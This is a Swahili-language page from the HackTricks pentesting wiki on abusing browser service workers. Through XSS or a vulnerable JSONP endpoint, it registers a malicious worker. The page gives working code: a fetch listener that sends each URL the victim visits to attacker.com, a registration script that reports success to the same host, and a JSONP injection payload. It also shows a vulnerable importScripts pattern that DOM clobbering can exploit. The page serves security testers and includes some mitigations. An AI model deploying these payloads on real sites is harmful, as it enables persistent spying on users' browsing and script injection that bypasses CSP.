Abusing Service Workers

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Kikundi cha Usalama cha Kujaribu Kwa Bidii


Taarifa Msingi

Mfanyakazi wa huduma ni skripti inayotekelezwa na kivinjari chako nyuma, tofauti na ukurasa wowote wa wavuti, ikiruhusu vipengele visivyohitaji ukurasa wa wavuti au mwingiliano wa mtumiaji, hivyo kuimarisha uwezo wa kufanya kazi nje ya mtandao na nyuma ya pazia. Maelezo kamili kuhusu wafanyakazi wa huduma yanaweza kupatikana hapa. Kwa kudukua wafanyakazi wa huduma ndani ya kikoa dhaifu cha wavuti, wadukuzi wanaweza kupata udhibiti juu ya mwingiliano wa mwathiriwa na kurasa zote ndani ya kikoa hicho.

Kuangalia Wafanyakazi wa Huduma Zilizopo

Wafanyakazi wa huduma zilizopo wanaweza kuangaliwa katika sehemu ya Wafanyakazi wa Huduma ya kichupo cha Maombi katika Zana za Mwandishi. Njia nyingine ni kutembelea chrome://serviceworker-internals kwa mtazamo wa kina zaidi.

Arifa za Kupiga

Ruhusa za arifa za kupiga zinaathiri moja kwa moja uwezo wa mfanyakazi wa huduma kuwasiliana na seva bila mwingiliano moja kwa moja wa mtumiaji. Ikiwa ruhusa zimekataliwa, inapunguza uwezo wa mfanyakazi wa huduma kuwa tishio endelevu. Kinyume chake, kutoa ruhusa kunazidisha hatari za usalama kwa kuruhusu kupokea na kutekeleza udanganyifu wa uwezekano.

Shambulio la Kuunda Mfanyakazi wa Huduma

Ili kutumia udhaifu huu unahitaji kupata:

  • Njia ya kupakia faili za JS za kupendelea kwenye seva na XSS ya kupakia mfanyakazi wa huduma wa faili ya JS iliyopakiwa

  • Ombi dhaifu la JSONP ambapo unaweza kudhibiti matokeo (na msimbo wa JS wa kupendelea) na XSS ya kupakia JSONP na mzigo ambao uta paki mfanyakazi wa huduma mbaya.

Katika mfano ufuatao nitawasilisha msimbo wa kujiandikisha mfanyakazi wa huduma mpya ambao utasikiliza tukio la fetch na kutuma kwenye seva ya wadukuzi kila URL iliyopakiwa (hii ni msimbo utakaohitaji kupakia kwenye seva au kupakia kupitia jibu la JSONP dhaifu):

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

Na hii ndio nambari itakayosajili mfanyakazi (nambari unayopaswa kuweza kutekeleza kwa kutumia XSS). Katika kesi hii, ombi la GET litatumwa kwa seva ya wachokozi ikitoa taarifa ikiwa usajili wa mfanyakazi wa huduma ulifanikiwa au la:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

Katika kesi ya kutumia mwisho wa JSONP unaoweza kudhuriwa unapaswa kuweka thamani ndani ya var sw. Kwa mfano:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

Kuna C2 iliyotengwa kwa utumiaji wa Wafanyikazi wa Huduma inaitwa Wafanyikazi wa Kivuli ambayo itakuwa muhimu sana kwa kutumia udhaifu huu.

Mwongozo wa cache wa masaa 24 unapunguza maisha ya wafanyikazi wa huduma (SW) wenye nia mbaya au walioathiriwa hadi masaa 24 baada ya kurekebisha udhaifu wa XSS, ikizingatiwa hali ya mteja mtandaoni. Ili kupunguza udhaifu, waendeshaji wa tovuti wanaweza kupunguza Muda wa Kuishi wa Script ya SW (TTL). Waendelezaji pia wanashauriwa kuunda kitufe cha kuzima wafanyikazi wa huduma kwa kuzima haraka.

Kutumia importScripts katika SW kupitia DOM Clobbering

Kazi ya importScripts iliyoitwa kutoka kwa Wafanyikazi wa Huduma inaweza kuagiza script kutoka kwenye kikoa tofauti. Ikiwa kazi hii inaitwa kutumia parameter ambayo muhusika anaweza kuhariri, angekuwa na uwezo wa kuagiza script ya JS kutoka kwenye kikoa chake na kupata XSS.

Hii hata inapita kinga za CSP.

Mfano wa msimbo wenye udhaifu:

  • index.html

<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
  • sw.js

const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

Kwa DOM Clobbering

Kwa habari zaidi kuhusu ni nini DOM Clobbering angalia:

pageDom Clobbering

Ikiwa URL/domain ambapo SW inatumia kuita importScripts iko ndani ya kipengele cha HTML, ni inawezekana kuibadilisha kupitia DOM Clobbering ili kufanya SW ipakie script kutoka kwenye kikoa chako mwenyewe.

Kwa mfano wa hili angalia kiungo cha marejeo.

Marejeo

Kikundi cha Usalama cha Try Hard

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Last updated